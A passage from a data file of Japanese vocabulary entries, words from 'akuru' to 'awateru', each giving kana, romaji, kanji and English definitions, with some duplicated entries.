last;stubbornly;persistently\"\n\t},\n\n\t{\n\t\t'kana':'あくる',\n\t\t'romaji':'akuru',\n\t\t'kanji':'明くる',\n\t\t'definition':\"next;following\"\n\t},\n\n\t{\n\t\t'kana':'アクセント',\n\t\t'romaji':'akusento',\n\t\t'kanji':'',\n\t\t'definition':\"accent\"\n\t},\n\n\t{\n\t\t'kana':'アクセル',\n\t\t'romaji':'akuseru',\n\t\t'kanji':'',\n\t\t'definition':\"accelerator\"\n\t},\n\n\t{\n\t\t'kana':'アクセサリー',\n\t\t'romaji':'akusesari-',\n\t\t'kanji':'',\n\t\t'definition':\"accessory\"\n\t},\n\n\t{\n\t\t'kana':'あくしゅ',\n\t\t'romaji':'akushu',\n\t\t'kanji':'握手',\n\t\t'definition':\"handshake\"\n\t},\n\n\t{\n\t\t'kana':'あまど',\n\t\t'romaji':'amado',\n\t\t'kanji':'雨戸',\n\t\t'definition':\"sliding storm door\"\n\t},\n\n\t{\n\t\t'kana':'あまえる',\n\t\t'romaji':'amaeru',\n\t\t'kanji':'甘える',\n\t\t'definition':\"to behave like a spoiled child;to fawn on\"\n\t},\n\n\t{\n\t\t'kana':'あまぐ',\n\t\t'romaji':'amagu',\n\t\t'kanji':'雨具',\n\t\t'definition':\"rain gear\"\n\t},\n\n\t{\n\t\t'kana':'あまい',\n\t\t'romaji':'amai',\n\t\t'kanji':'甘い',\n\t\t'definition':\"generous;indulgent;easy-going;sweet;fond of;soft on;overly optimistic;naive\"\n\t},\n\n\t{\n\t\t'kana':'あまくち',\n\t\t'romaji':'amakuchi',\n\t\t'kanji':'甘口',\n\t\t'definition':\"sweet flavour;mildness;flattery;stupidity\"\n\t},\n\n\t{\n\t\t'kana':'あまり',\n\t\t'romaji':'amari',\n\t\t'kanji':'余り',\n\t\t'definition':\"not very (this form only used as adverb);not much;remainder;rest;remnant;surplus;balance;excess;remains;scraps;residue;fullness;other;too much\"\n\t},\n\n\t{\n\t\t'kana':'あまり',\n\t\t'romaji':'amari',\n\t\t'kanji':'余り',\n\t\t'definition':\"not very (this form only used as adverb);not much;remainder;rest;remnant;surplus;balance;excess;remains;scraps;residue;fullness;other;too much\"\n\t},\n\n\t{\n\t\t'kana':'あまる',\n\t\t'romaji':'amaru',\n\t\t'kanji':'余る',\n\t\t'definition':\"to remain;to be left over;to be in excess;to be too many\"\n\t},\n\n\t{\n\t\t'kana':'あまつ',\n\t\t'romaji':'amatsu',\n\t\t'kanji':'天',\n\t\t'definition':\"heavenly;imperial\"\n\t},\n\n\t{\n\t\t'kana':'アマチュア',\n\t\t'romaji':'amatyua',\n\t\t'kanji':'',\n\t\t'definition':\"amateur\"\n\t},\n\n\t{\n\t\t'kana':'あまやかす',\n\t\t'romaji':'amayakasu',\n\t\t'kanji':'甘やかす',\n\t\t'definition':\"to pamper;to spoil\"\n\t},\n\n\t{\n\t\t'kana':'あめ',\n\t\t'romaji':'ame',\n\t\t'kanji':'飴',\n\t\t'definition':\"(hard) candy\"\n\t},\n\n\t{\n\t\t'kana':'あめ',\n\t\t'romaji':'ame',\n\t\t'kanji':'雨',\n\t\t'definition':\"rain\"\n\t},\n\n\t{\n\t\t'kana':'アメリカ',\n\t\t'romaji':'amerika',\n\t\t'kanji':'',\n\t\t'definition':\"America\"\n\t},\n\n\t{\n\t\t'kana':'あめつち',\n\t\t'romaji':'ametsuchi',\n\t\t'kanji':'天地',\n\t\t'definition':\"heaven and earth;the universe;nature;top and bottom;realm;sphere;world\"\n\t},\n\n\t{\n\t\t'kana':'あみ',\n\t\t'romaji':'ami',\n\t\t'kanji':'網',\n\t\t'definition':\"net;network\"\n\t},\n\n\t{\n\t\t'kana':'あみ',\n\t\t'romaji':'ami',\n\t\t'kanji':'網',\n\t\t'definition':\"net;network\"\n\t},\n\n\t{\n\t\t'kana':'あみもの',\n\t\t'romaji':'amimono',\n\t\t'kanji':'編物',\n\t\t'definition':\"knitting;web\"\n\t},\n\n\t{\n\t\t'kana':'あむ',\n\t\t'romaji':'amu',\n\t\t'kanji':'編む',\n\t\t'definition':\"to knit\"\n\t},\n\n\t{\n\t\t'kana':'あん',\n\t\t'romaji':'an',\n\t\t'kanji':'案',\n\t\t'definition':\"plan;suffix meaning draft\"\n\t},\n\n\t{\n\t\t'kana':'あな',\n\t\t'romaji':'ana',\n\t\t'kanji':'穴',\n\t\t'definition':\"hole\"\n\t},\n\n\t{\n\t\t'kana':'あなた',\n\t\t'romaji':'anata',\n\t\t'kanji':'貴女',\n\t\t'definition':\"you;lady\"\n\t},\n\n\t{\n\t\t'kana':'アナウンサー',\n\t\t'romaji':'anaunsa-',\n\t\t'kanji':'',\n\t\t'definition':\"announcer\"\n\t},\n\n\t{\n\t\t'kana':'あね',\n\t\t'romaji':'ane',\n\t\t'kanji':'姉',\n\t\t'definition':\"older sister\"\n\t},\n\n\t{\n\t\t'kana':'あんがい',\n\t\t'romaji':'angai',\n\t\t'kanji':'案外',\n\t\t'definition':\"unexpectedly\"\n\t},\n\n\t{\n\t\t'kana':'あんい',\n\t\t'romaji':'ani',\n\t\t'kanji':'安易',\n\t\t'definition':\"easy-going\"\n\t},\n\n\t{\n\t\t'kana':'あに',\n\t\t'romaji':'ani',\n\t\t'kanji':'兄',\n\t\t'definition':\"older brother\"\n\t},\n\n\t{\n\t\t'kana':'あんじ',\n\t\t'romaji':'anji',\n\t\t'kanji':'暗示',\n\t\t'definition':\"hint;suggestion\"\n\t},\n\n\t{\n\t\t'kana':'あんじる',\n\t\t'romaji':'anjiru',\n\t\t'kanji':'案じる',\n\t\t'definition':\"to be anxious;to ponder\"\n\t},\n\n\t{\n\t\t'kana':'アンケート',\n\t\t'romaji':'anke-to',\n\t\t'kanji':'',\n\t\t'definition':\"(fr:) (n) questionnaire (fr: enquete);survey\"\n\t},\n\n\t{\n\t\t'kana':'あんき',\n\t\t'romaji':'anki',\n\t\t'kanji':'暗記',\n\t\t'definition':\"memorization;learning by heart\"\n\t},\n\n\t{\n\t\t'kana':'アンコール',\n\t\t'romaji':'anko-ru',\n\t\t'kanji':'',\n\t\t'definition':\"encore\"\n\t},\n\n\t{\n\t\t'kana':'あんまり',\n\t\t'romaji':'anmari',\n\t\t'kanji':'余り',\n\t\t'definition':\"not very (this form only used as adverb);not much;remainder;rest;remnant;surplus;balance;excess;remains;scraps;residue;fullness;other;too much\"\n\t},\n\n\t{\n\t\t'kana':'あんな',\n\t\t'romaji':'anna',\n\t\t'kanji':'',\n\t\t'definition':\"such;so;that;sort of\"\n\t},\n\n\t{\n\t\t'kana':'あんない',\n\t\t'romaji':'annai',\n\t\t'kanji':'案内',\n\t\t'definition':\"information;guidance;leading\"\n\t},\n\n\t{\n\t\t'kana':'あんのじょう',\n\t\t'romaji':'annojyou',\n\t\t'kanji':'案の定',\n\t\t'definition':\"sure enough;as usual\"\n\t},\n\n\t{\n\t\t'kana':'あの',\n\t\t'romaji':'ano',\n\t\t'kanji':'彼の',\n\t\t'definition':\"that over there\"\n\t},\n\n\t{\n\t\t'kana':'あんさつ',\n\t\t'romaji':'ansatsu',\n\t\t'kanji':'暗殺',\n\t\t'definition':\"assassination\"\n\t},\n\n\t{\n\t\t'kana':'あんせい',\n\t\t'romaji':'ansei',\n\t\t'kanji':'安静',\n\t\t'definition':\"rest\"\n\t},\n\n\t{\n\t\t'kana':'あんしん',\n\t\t'romaji':'anshin',\n\t\t'kanji':'安心',\n\t\t'definition':\"relief;peace of mind\"\n\t},\n\n\t{\n\t\t'kana':'あんてい',\n\t\t'romaji':'antei',\n\t\t'kanji':'安定',\n\t\t'definition':\"stability;equilibrium\"\n\t},\n\n\t{\n\t\t'kana':'アンテナ',\n\t\t'romaji':'antena',\n\t\t'kanji':'',\n\t\t'definition':\"antenna\"\n\t},\n\n\t{\n\t\t'kana':'あんざん',\n\t\t'romaji':'anzan',\n\t\t'kanji':'暗算',\n\t\t'definition':\"mental arithmetic\"\n\t},\n\n\t{\n\t\t'kana':'あんぜん',\n\t\t'romaji':'anzen',\n\t\t'kanji':'安全',\n\t\t'definition':\"safety;security\"\n\t},\n\n\t{\n\t\t'kana':'あお',\n\t\t'romaji':'ao',\n\t\t'kanji':'青',\n\t\t'definition':\"blue;green;green light\"\n\t},\n\n\t{\n\t\t'kana':'あおぐ',\n\t\t'romaji':'aogu',\n\t\t'kanji':'仰ぐ',\n\t\t'definition':\"to look up (to);to respect;to depend on;to ask for;to seek;to revere;to drink;to take\"\n\t},\n\n\t{\n\t\t'kana':'あおい',\n\t\t'romaji':'aoi',\n\t\t'kanji':'青い',\n\t\t'definition':\"blue;pale;green;unripe;inexperienced\"\n\t},\n\n\t{\n\t\t'kana':'あおじろい',\n\t\t'romaji':'aojiroi',\n\t\t'kanji':'青白い',\n\t\t'definition':\"pale;pallid\"\n\t},\n\n\t{\n\t\t'kana':'アパート',\n\t\t'romaji':'apa-to',\n\t\t'kanji':'',\n\t\t'definition':\"1. apartment; 2. apartment building; 3. apart\"\n\t},\n\n\t{\n\t\t'kana':'あっぱく',\n\t\t'romaji':'appaku',\n\t\t'kanji':'圧迫',\n\t\t'definition':\"pressure;coercion;oppression\"\n\t},\n\n\t{\n\t\t'kana':'アップ',\n\t\t'romaji':'apu',\n\t\t'kanji':'',\n\t\t'definition':\"up\"\n\t},\n\n\t{\n\t\t'kana':'アプローチ',\n\t\t'romaji':'apuro-chi',\n\t\t'kanji':'',\n\t\t'definition':\"approach (in golf)\"\n\t},\n\n\t{\n\t\t'kana':'あら',\n\t\t'romaji':'ara',\n\t\t'kanji':'',\n\t\t'definition':\"oh;ah;saw-edged perch (Niphon spinosus)\"\n\t},\n\n\t{\n\t\t'kana':'アラブ',\n\t\t'romaji':'arabu',\n\t\t'kanji':'',\n\t\t'definition':\"Arab\"\n\t},\n\n\t{\n\t\t'kana':'あらい',\n\t\t'romaji':'arai',\n\t\t'kanji':'粗い',\n\t\t'definition':\"coarse;rough\"\n\t},\n\n\t{\n\t\t'kana':'あらい',\n\t\t'romaji':'arai',\n\t\t'kanji':'荒い',\n\t\t'definition':\"rough;rude;wild\"\n\t},\n\n\t{\n\t\t'kana':'あらかじめ',\n\t\t'romaji':'arakajime',\n\t\t'kanji':'予め',\n\t\t'definition':\"beforehand;in advance;previously\"\n\t},\n\n\t{\n\t\t'kana':'あらっぽい',\n\t\t'romaji':'arappoi',\n\t\t'kanji':'荒っぽい',\n\t\t'definition':\"rough;rude\"\n\t},\n\n\t{\n\t\t'kana':'あられ',\n\t\t'romaji':'arare',\n\t\t'kanji':'',\n\t\t'definition':\"kind of cookie;cartoon character\"\n\t},\n\n\t{\n\t\t'kana':'あらし',\n\t\t'romaji':'arashi',\n\t\t'kanji':'嵐',\n\t\t'definition':\"storm;tempest\"\n\t},\n\n\t{\n\t\t'kana':'あらそい',\n\t\t'romaji':'arasoi',\n\t\t'kanji':'争い',\n\t\t'definition':\"dispute;strife;quarrel;dissension;conflict;rivalry;contest\"\n\t},\n\n\t{\n\t\t'kana':'あらそう',\n\t\t'romaji':'arasou',\n\t\t'kanji':'争う',\n\t\t'definition':\"to dispute;to argue;to be at variance;to compete\"\n\t},\n\n\t{\n\t\t'kana':'あらす',\n\t\t'romaji':'arasu',\n\t\t'kanji':'荒らす',\n\t\t'definition':\"to lay waste;to devastate;to damage;to invade;to break into\"\n\t},\n\n\t{\n\t\t'kana':'あらすじ',\n\t\t'romaji':'arasuji',\n\t\t'kanji':'粗筋',\n\t\t'definition':\"outline;summary\"\n\t},\n\n\t{\n\t\t'kana':'あらた',\n\t\t'romaji':'arata',\n\t\t'kanji':'新た',\n\t\t'definition':\"new;fresh;novel\"\n\t},\n\n\t{\n\t\t'kana':'あらたまる',\n\t\t'romaji':'aratamaru',\n\t\t'kanji':'改まる',\n\t\t'definition':\"to be renewed\"\n\t},\n\n\t{\n\t\t'kana':'あらためる',\n\t\t'romaji':'aratameru',\n\t\t'kanji':'改める',\n\t\t'definition':\"to change;to alter;to reform;to revise\"\n\t},\n\n\t{\n\t\t'kana':'あらためて',\n\t\t'romaji':'aratamete',\n\t\t'kanji':'改めて',\n\t\t'definition':\"another time;again;over again;anew;formally\"\n\t},\n\n\t{\n\t\t'kana':'あらう',\n\t\t'romaji':'arau',\n\t\t'kanji':'洗う',\n\t\t'definition':\"to wash\"\n\t},\n\n\t{\n\t\t'kana':'あらわれ',\n\t\t'romaji':'araware',\n\t\t'kanji':'現われ',\n\t\t'definition':\"embodiment;materialization\"\n\t},\n\n\t{\n\t\t'kana':'あらわれる',\n\t\t'romaji':'arawareru',\n\t\t'kanji':'現われる',\n\t\t'definition':\"to appear;to come in sight;to become visible;to come out;to embody;to materialize;to express oneself\"\n\t},\n\n\t{\n\t\t'kana':'あらわす',\n\t\t'romaji':'arawasu',\n\t\t'kanji':'著す',\n\t\t'definition':\"to write;to publish\"\n\t},\n\n\t{\n\t\t'kana':'あらわす',\n\t\t'romaji':'arawasu',\n\t\t'kanji':'現す',\n\t\t'definition':\"to show;to indicate;to display\"\n\t},\n\n\t{\n\t\t'kana':'あらわす',\n\t\t'romaji':'arawasu',\n\t\t'kanji':'表す',\n\t\t'definition':\"to express;to show;to reveal\"\n\t},\n\n\t{\n\t\t'kana':'あらゆる',\n\t\t'romaji':'arayuru',\n\t\t'kanji':'凡ゆる',\n\t\t'definition':\"all;every\"\n\t},\n\n\t{\n\t\t'kana':'あれ',\n\t\t'romaji':'are',\n\t\t'kanji':'',\n\t\t'definition':\"1. that;that thing; 2. (X) (col) genitals; 3. menses\"\n\t},\n\n\t{\n\t\t'kana':'あれこれ',\n\t\t'romaji':'arekore',\n\t\t'kanji':'彼此',\n\t\t'definition':\"one thing or another;this and that;this or that\"\n\t},\n\n\t{\n\t\t'kana':'あれる',\n\t\t'romaji':'areru',\n\t\t'kanji':'荒れる',\n\t\t'definition':\"to be stormy;to be rough;to lose one's temper\"\n\t},\n\n\t{\n\t\t'kana':'ありがたい',\n\t\t'romaji':'arigatai',\n\t\t'kanji':'有難い',\n\t\t'definition':\"grateful;thankful\"\n\t},\n\n\t{\n\t\t'kana':'ありがとう',\n\t\t'romaji':'arigatou',\n\t\t'kanji':'有難う',\n\t\t'definition':\"Thank you\"\n\t},\n\n\t{\n\t\t'kana':'ありのまま',\n\t\t'romaji':'arinomama',\n\t\t'kanji':'有りのまま',\n\t\t'definition':\"the truth;fact;as it is;frankly\"\n\t},\n\n\t{\n\t\t'kana':'ありさま',\n\t\t'romaji':'arisama',\n\t\t'kanji':'有様',\n\t\t'definition':\"state;condition;circumstances;the way things are or should be;truth\"\n\t},\n\n\t{\n\t\t'kana':'ある',\n\t\t'romaji':'aru',\n\t\t'kanji':'在る',\n\t\t'definition':\"to live;to be\"\n\t},\n\n\t{\n\t\t'kana':'ある',\n\t\t'romaji':'aru',\n\t\t'kanji':'有る',\n\t\t'definition':\"to be;to have\"\n\t},\n\n\t{\n\t\t'kana':'ある',\n\t\t'romaji':'aru',\n\t\t'kanji':'或る',\n\t\t'definition':\"a certain...;some...\"\n\t},\n\n\t{\n\t\t'kana':'アルバイト',\n\t\t'romaji':'arubaito',\n\t\t'kanji':'',\n\t\t'definition':\"(de:) (n) part-time job (esp. high school students) (de: Arbeit)\"\n\t},\n\n\t{\n\t\t'kana':'アルバム',\n\t\t'romaji':'arubamu',\n\t\t'kanji':'',\n\t\t'definition':\"album\"\n\t},\n\n\t{\n\t\t'kana':'あるいは',\n\t\t'romaji':'aruiha',\n\t\t'kanji':'或いは',\n\t\t'definition':\"or;possibly\"\n\t},\n\n\t{\n\t\t'kana':'あるじ',\n\t\t'romaji':'aruji',\n\t\t'kanji':'主人',\n\t\t'definition':\"master;head (of a household);landlord;one's husband;employer;host\"\n\t},\n\n\t{\n\t\t'kana':'あるじ',\n\t\t'romaji':'aruji',\n\t\t'kanji':'主',\n\t\t'definition':\"master;head (of a household);landlord;one's husband;employer;host\"\n\t},\n\n\t{\n\t\t'kana':'あるじ',\n\t\t'romaji':'aruji',\n\t\t'kanji':'主',\n\t\t'definition':\"master;head (of a household);landlord;one's husband;employer;host\"\n\t},\n\n\t{\n\t\t'kana':'アルカリ',\n\t\t'romaji':'arukari',\n\t\t'kanji':'',\n\t\t'definition':\"alkali\"\n\t},\n\n\t{\n\t\t'kana':'アルコール',\n\t\t'romaji':'aruko-ru',\n\t\t'kanji':'',\n\t\t'definition':\"alcohol\"\n\t},\n\n\t{\n\t\t'kana':'あるく',\n\t\t'romaji':'aruku',\n\t\t'kanji':'歩く',\n\t\t'definition':\"to walk\"\n\t},\n\n\t{\n\t\t'kana':'アルミ',\n\t\t'romaji':'arumi',\n\t\t'kanji':'',\n\t\t'definition':\"aluminum (Al);aluminium\"\n\t},\n\n\t{\n\t\t'kana':'あさ',\n\t\t'romaji':'asa',\n\t\t'kanji':'朝',\n\t\t'definition':\"morning\"\n\t},\n\n\t{\n\t\t'kana':'あさ',\n\t\t'romaji':'asa',\n\t\t'kanji':'麻',\n\t\t'definition':\"flax;linen;hemp\"\n\t},\n\n\t{\n\t\t'kana':'あさい',\n\t\t'romaji':'asai',\n\t\t'kanji':'浅い',\n\t\t'definition':\"shallow;superficial\"\n\t},\n\n\t{\n\t\t'kana':'あさましい',\n\t\t'romaji':'asamashii',\n\t\t'kanji':'浅ましい',\n\t\t'definition':\"wretched;miserable;shameful;mean;despicable;abject\"\n\t},\n\n\t{\n\t\t'kana':'あさねぼう',\n\t\t'romaji':'asanebou',\n\t\t'kanji':'朝寝坊',\n\t\t'definition':\"oversleeping;late riser\"\n\t},\n\n\t{\n\t\t'kana':'あさって',\n\t\t'romaji':'asate',\n\t\t'kanji':'明後日',\n\t\t'definition':\"day after tomorrow\"\n\t},\n\n\t{\n\t\t'kana':'あさって',\n\t\t'romaji':'asate',\n\t\t'kanji':'明後日',\n\t\t'definition':\"day after tomorrow\"\n\t},\n\n\t{\n\t\t'kana':'あせ',\n\t\t'romaji':'ase',\n\t\t'kanji':'汗',\n\t\t'definition':\"sweat;perspiration\"\n\t},\n\n\t{\n\t\t'kana':'あせる',\n\t\t'romaji':'aseru',\n\t\t'kanji':'焦る',\n\t\t'definition':\"to be in a hurry;to be impatient\"\n\t},\n\n\t{\n\t\t'kana':'あせる',\n\t\t'romaji':'aseru',\n\t\t'kanji':'焦る',\n\t\t'definition':\"to be in a hurry;to be impatient\"\n\t},\n\n\t{\n\t\t'kana':'あし',\n\t\t'romaji':'ashi',\n\t\t'kanji':'足',\n\t\t'definition':\"foot;pace;gait;leg\"\n\t},\n\n\t{\n\t\t'kana':'あし',\n\t\t'romaji':'ashi',\n\t\t'kanji':'足',\n\t\t'definition':\"foot;pace;gait;leg\"\n\t},\n\n\t{\n\t\t'kana':'あしあと',\n\t\t'romaji':'ashiato',\n\t\t'kanji':'足跡',\n\t\t'definition':\"footprints\"\n\t},\n\n\t{\n\t\t'kana':'あしからず',\n\t\t'romaji':'ashikarazu',\n\t\t'kanji':'悪しからず',\n\t\t'definition':\"don't take me wrong but...;I'm sorry\"\n\t},\n\n\t{\n\t\t'kana':'あしもと',\n\t\t'romaji':'ashimoto',\n\t\t'kanji':'足元',\n\t\t'definition':\"1. at one's feet;underfoot; 2. gait;pace;step\"\n\t},\n\n\t{\n\t\t'kana':'あした',\n\t\t'romaji':'ashita',\n\t\t'kanji':'明日',\n\t\t'definition':\"tomorrow\"\n\t},\n\n\t{\n\t\t'kana':'あした',\n\t\t'romaji':'ashita',\n\t\t'kanji':'明日',\n\t\t'definition':\"tomorrow\"\n\t},\n\n\t{\n\t\t'kana':'あっしゅく',\n\t\t'romaji':'ashuku',\n\t\t'kanji':'圧縮',\n\t\t'definition':\"compression;condensation;pressure\"\n\t},\n\n\t{\n\t\t'kana':'あそび',\n\t\t'romaji':'asobi',\n\t\t'kanji':'遊び',\n\t\t'definition':\"playing\"\n\t},\n\n\t{\n\t\t'kana':'あそこ',\n\t\t'romaji':'asoko',\n\t\t'kanji':'彼処',\n\t\t'definition':\"1. (uk) there;over there;that place; 2. (X) (col) genitals\"\n\t},\n\n\t{\n\t\t'kana':'あっさり',\n\t\t'romaji':'assari',\n\t\t'kanji':'',\n\t\t'definition':\"easily;readily;quickly\"\n\t},\n\n\t{\n\t\t'kana':'あたえる',\n\t\t'romaji':'ataeru',\n\t\t'kanji':'与える',\n\t\t'definition':\"to give;to present;to award\"\n\t},\n\n\t{\n\t\t'kana':'あたい',\n\t\t'romaji':'atai',\n\t\t'kanji':'値',\n\t\t'definition':\"value;price;cost;worth;merit\"\n\t},\n\n\t{\n\t\t'kana':'あたい',\n\t\t'romaji':'atai',\n\t\t'kanji':'値',\n\t\t'definition':\"value;price;cost;worth;merit\"\n\t},\n\n\t{\n\t\t'kana':'あたいする',\n\t\t'romaji':'ataisuru',\n\t\t'kanji':'値する',\n\t\t'definition':\"to be worth;to deserve;to merit\"\n\t},\n\n\t{\n\t\t'kana':'あたま',\n\t\t'romaji':'atama',\n\t\t'kanji':'頭',\n\t\t'definition':\"head\"\n\t},\n\n\t{\n\t\t'kana':'あたま',\n\t\t'romaji':'atama',\n\t\t'kanji':'頭',\n\t\t'definition':\"head\"\n\t},\n\n\t{\n\t\t'kana':'あたま',\n\t\t'romaji':'atama',\n\t\t'kanji':'頭',\n\t\t'definition':\"head\"\n\t},\n\n\t{\n\t\t'kana':'あたらしい',\n\t\t'romaji':'atarashii',\n\t\t'kanji':'新しい',\n\t\t'definition':\"new\"\n\t},\n\n\t{\n\t\t'kana':'あたり',\n\t\t'romaji':'atari',\n\t\t'kanji':'辺り',\n\t\t'definition':\"(in the) neighbourhood;vicinity;nearby\"\n\t},\n\n\t{\n\t\t'kana':'あたり',\n\t\t'romaji':'atari',\n\t\t'kanji':'当たり',\n\t\t'definition':\"hit;success;reaching the mark;per ...;vicinity;neighborhood\"\n\t},\n\n\t{\n\t\t'kana':'あたりまえ',\n\t\t'romaji':'atarimae',\n\t\t'kanji':'当たり前',\n\t\t'definition':\"usual;common;ordinary;natural;reasonable;obvious\"\n\t},\n\n\t{\n\t\t'kana':'あたる',\n\t\t'romaji':'ataru',\n\t\t'kanji':'当たる',\n\t\t'definition':\"to be hit;to be successful;to face (confront);to lie (in the direction of);to undertake;to treat;to be equivalent to;to apply to;to be applicable;to be assigned\"\n\t},\n\n\t{\n\t\t'kana':'あたし',\n\t\t'romaji':'atashi',\n\t\t'kanji':'私',\n\t\t'definition':\"I (fem)\"\n\t},\n\n\t{\n\t\t'kana':'あたたかい',\n\t\t'romaji':'atatakai',\n\t\t'kanji':'暖かい',\n\t\t'definition':\"warm;mild;genial\"\n\t},\n\n\t{\n\t\t'kana':'あたたまる',\n\t\t'romaji':'atatamaru',\n\t\t'kanji':'暖まる',\n\t\t'definition':\"to warm oneself;to sun oneself;to warm up;to get warm\"\n\t},\n\n\t{\n\t\t'kana':'あたためる',\n\t\t'romaji':'atatameru',\n\t\t'kanji':'暖める',\n\t\t'definition':\"to warm;to heat\"\n\t},\n\n\t{\n\t\t'kana':'あて',\n\t\t'romaji':'ate',\n\t\t'kanji':'宛',\n\t\t'definition':\"addressed to\"\n\t},\n\n\t{\n\t\t'kana':'あて',\n\t\t'romaji':'ate',\n\t\t'kanji':'当て',\n\t\t'definition':\"object;aim;end;hopes;expectations\"\n\t},\n\n\t{\n\t\t'kana':'あてはまる',\n\t\t'romaji':'atehamaru',\n\t\t'kanji':'当てはまる',\n\t\t'definition':\"to apply (a rule)\"\n\t},\n\n\t{\n\t\t'kana':'あてはめる',\n\t\t'romaji':'atehameru',\n\t\t'kanji':'当てはめる',\n\t\t'definition':\"to apply;to adapt\"\n\t},\n\n\t{\n\t\t'kana':'あてじ',\n\t\t'romaji':'ateji',\n\t\t'kanji':'当て字',\n\t\t'definition':\"phonetic-equivalent character;substitute character\"\n\t},\n\n\t{\n\t\t'kana':'あてな',\n\t\t'romaji':'atena',\n\t\t'kanji':'宛名',\n\t\t'definition':\"address;direction\"\n\t},\n\n\t{\n\t\t'kana':'あてる',\n\t\t'romaji':'ateru',\n\t\t'kanji':'当てる',\n\t\t'definition':\"to hit;to apply a patch\"\n\t},\n\n\t{\n\t\t'kana':'あてる',\n\t\t'romaji':'ateru',\n\t\t'kanji':'宛てる',\n\t\t'definition':\"to address\"\n\t},\n\n\t{\n\t\t'kana':'あと',\n\t\t'romaji':'ato',\n\t\t'kanji':'後',\n\t\t'definition':\"after;behind;later;rear;remainder;successor\"\n\t},\n\n\t{\n\t\t'kana':'あと',\n\t\t'romaji':'ato',\n\t\t'kanji':'後',\n\t\t'definition':\"after;behind;later;rear;remainder;successor\"\n\t},\n\n\t{\n\t\t'kana':'あと',\n\t\t'romaji':'ato',\n\t\t'kanji':'後',\n\t\t'definition':\"after;behind;later;rear;remainder;successor\"\n\t},\n\n\t{\n\t\t'kana':'あと',\n\t\t'romaji':'ato',\n\t\t'kanji':'後',\n\t\t'definition':\"after;behind;later;rear;remainder;successor\"\n\t},\n\n\t{\n\t\t'kana':'あと',\n\t\t'romaji':'ato',\n\t\t'kanji':'跡',\n\t\t'definition':\"trace;tracks;mark;scar;sign;remains;ruins\"\n\t},\n\n\t{\n\t\t'kana':'あと',\n\t\t'romaji':'ato',\n\t\t'kanji':'後',\n\t\t'definition':\"after;behind;later;rear;remainder;successor\"\n\t},\n\n\t{\n\t\t'kana':'あとまわし',\n\t\t'romaji':'atomawashi',\n\t\t'kanji':'後回し',\n\t\t'definition':\"putting off;postponing\"\n\t},\n\n\t{\n\t\t'kana':'あとつぎ',\n\t\t'romaji':'atotsugi',\n\t\t'kanji':'跡継ぎ',\n\t\t'definition':\"heir;successor\"\n\t},\n\n\t{\n\t\t'kana':'あつい',\n\t\t'romaji':'atsui',\n\t\t'kanji':'熱い',\n\t\t'definition':\"hot (thing)\"\n\t},\n\n\t{\n\t\t'kana':'あつい',\n\t\t'romaji':'atsui',\n\t\t'kanji':'暑い',\n\t\t'definition':\"hot;warm\"\n\t},\n\n\t{\n\t\t'kana':'あつい',\n\t\t'romaji':'atsui',\n\t\t'kanji':'厚い',\n\t\t'definition':\"cordial;kind;warm(hearted);thick;deep\"\n\t},\n\n\t{\n\t\t'kana':'あつかい',\n\t\t'romaji':'atsukai',\n\t\t'kanji':'扱い',\n\t\t'definition':\"treatment;service\"\n\t},\n\n\t{\n\t\t'kana':'あつかましい',\n\t\t'romaji':'atsukamashii',\n\t\t'kanji':'厚かましい',\n\t\t'definition':\"impudent;shameless;brazen\"\n\t},\n\n\t{\n\t\t'kana':'あつかう',\n\t\t'romaji':'atsukau',\n\t\t'kanji':'扱う',\n\t\t'definition':\"to handle;to deal with;to treat\"\n\t},\n\n\t{\n\t\t'kana':'あつまり',\n\t\t'romaji':'atsumari',\n\t\t'kanji':'集まり',\n\t\t'definition':\"gathering;meeting;assembly;collection\"\n\t},\n\n\t{\n\t\t'kana':'あつまる',\n\t\t'romaji':'atsumaru',\n\t\t'kanji':'集まる',\n\t\t'definition':\"to gather;to collect;to assemble\"\n\t},\n\n\t{\n\t\t'kana':'あつめる',\n\t\t'romaji':'atsumeru',\n\t\t'kanji':'集める',\n\t\t'definition':\"to collect;to assemble\"\n\t},\n\n\t{\n\t\t'kana':'あつらえる',\n\t\t'romaji':'atsuraeru',\n\t\t'kanji':'誂える',\n\t\t'definition':\"to give an order;to place an order\"\n\t},\n\n\t{\n\t\t'kana':'あつりょく',\n\t\t'romaji':'atsuryoku',\n\t\t'kanji':'圧力',\n\t\t'definition':\"stress;pressure\"\n\t},\n\n\t{\n\t\t'kana':'あう',\n\t\t'romaji':'au',\n\t\t'kanji':'遭う',\n\t\t'definition':\"to meet;to encounter (undesirable nuance)\"\n\t},\n\n\t{\n\t\t'kana':'あう',\n\t\t'romaji':'au',\n\t\t'kanji':'会う',\n\t\t'definition':\"to meet;to interview\"\n\t},\n\n\t{\n\t\t'kana':'あう',\n\t\t'romaji':'au',\n\t\t'kanji':'合う',\n\t\t'definition':\"to fit;to suit;to agree with;to match;to be correct;to be profitable\"\n\t},\n\n\t{\n\t\t'kana':'アウト',\n\t\t'romaji':'auto',\n\t\t'kanji':'',\n\t\t'definition':\"out\"\n\t},\n\n\t{\n\t\t'kana':'あわ',\n\t\t'romaji':'awa',\n\t\t'kanji':'泡',\n\t\t'definition':\"bubble;foam;froth;head on beer\"\n\t},\n\n\t{\n\t\t'kana':'アワー',\n\t\t'romaji':'awa-',\n\t\t'kanji':'',\n\t\t'definition':\"hour\"\n\t},\n\n\t{\n\t\t'kana':'あわれ',\n\t\t'romaji':'aware',\n\t\t'kanji':'哀れ',\n\t\t'definition':\"helpless;pathos;pity;sorrow;grief;misery;compassion\"\n\t},\n\n\t{\n\t\t'kana':'あわせ',\n\t\t'romaji':'awase',\n\t\t'kanji':'合わせ',\n\t\t'definition':\"joint together;opposite;facing\"\n\t},\n\n\t{\n\t\t'kana':'あわせる',\n\t\t'romaji':'awaseru',\n\t\t'kanji':'合わせる',\n\t\t'definition':\"to join together;to be opposite;to face;to unite;to combine;to connect;to add up;to mix;to match;to overlap;to compare;to check with\"\n\t},\n\n\t{\n\t\t'kana':'あわす',\n\t\t'romaji':'awasu',\n\t\t'kanji':'合わす',\n\t\t'definition':\"to join together;to face;to unite;to be opposite;to combine;to connect;to add up;to mix;to match;to overlap;to compare;to check with\"\n\t},\n\n\t{\n\t\t'kana':'あわただしい',\n\t\t'romaji':'awatadashii',\n\t\t'kanji':'慌ただしい',\n\t\t'definition':\"busy;hurried;confused;flurried\"\n\t},\n\n\t{\n\t\t'kana':'あわてる',\n\t\t'romaji':'awateru',\n\t\t'kanji':'慌てる',\n\t\t'definition':\"to become confused (disconcerted 